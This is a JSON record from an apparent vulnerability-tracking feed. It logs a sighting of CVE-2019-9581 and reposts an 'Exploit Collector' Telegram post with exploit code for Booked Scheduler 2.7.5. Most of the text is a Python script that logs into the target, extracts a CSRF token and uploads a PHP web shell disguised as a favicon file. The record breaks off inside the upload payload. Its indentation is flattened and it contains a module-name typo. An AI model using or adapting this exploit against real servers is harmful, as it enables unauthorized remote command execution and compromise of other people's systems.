{"uuid": "b056fda4-1790-4283-85a1-9466a1b9b6bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-9581", "type": "seen", "source": "https://t.me/hacking_Attack/34969", "content": "Exploit Collector\nBooked Scheduler 2.7.5 Shell Upload\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png \nBooked Scheduler version 2.75 authenticated remote shell upload exploit.\n\nMD5 | 6d37cb26dd9060c96e1c2773001febd8\n\nDownload\n# Exploit Title: Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated)\n# Vulnerability founder: AkkuS\n# Date: 13/12/2021\n# Exploit Author: 0sunday\n# Vendor Homepage: https://www.bookedscheduler.com/\n# Software Link: N/A\n# Version: Booked Scheduler 2.7.5\n# Tester on: Kali 2021.2\n# CVE: CVE-2019-9581\n\n#!/usr/bin/python3\n\nimport sys\nimport requests\nfrom random import randint\ndef login():\nlogin_payload = {\n\"email\": username,\n\"password\": password,\n\"login\": \"submit\",\n#\"language\": \"en_us\"\n}\n\nlogin_req = request.post(\ntarget+\"/booked/Web/index.php\",\nlogin_payload,\nverify=False,\nallow_redirects=True\n)\n\nif login_req.status_code == 200:\nprint (\"[+] Logged in successfully.\")\nelse:\nprint (\"[-] Wrong credentials !\")\nexit()\nreturn login_req.text.split('CSRF_TOKEN\" value=')[1].split(\";\")[0].split('/')[0].split('\"')[1]\ndef upload_shell(csrf):\n\nboundary = str(randint(123456789012345678901234567890, 999999999999999999999999999999))\n\n_headers ={ \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\",\n\"Accept-Language\": \"en-US,en;q=0.5\",\n\"X-Requested-With\": \"XMLHttpRequest\",\n\"Content-Type\": \"multipart/form-data; boundary=---------------------------\"+boundary,\n\"Origin\": target,\n\"Connection\": \"close\",\n\"Referer\": target + \"/booked/Web/admin/manage_theme.php?update\"\n\n}\n\ndata =  \"-----------------------------\"+boundary+\"\\r\\n\"\ndata += \"Content-Disposition: form-data; name=\\\"LOGO_FILE\\\"\\r\\n\\n\\n\"\ndata += \"-----------------------------\"+boundary+\"\\r\\n\"\ndata += \"Content-Disposition: form-data; name=\\\"FAVICON_FILE\\\"; filename=\\\"simple_shell.php\\\"\\r\\n\"\ndata += \"Content-Type: application/x-php\\r\\n\\n\"\ndata += \"", "creation_timestamp": "2026-09-01T20:02:04.436765Z"}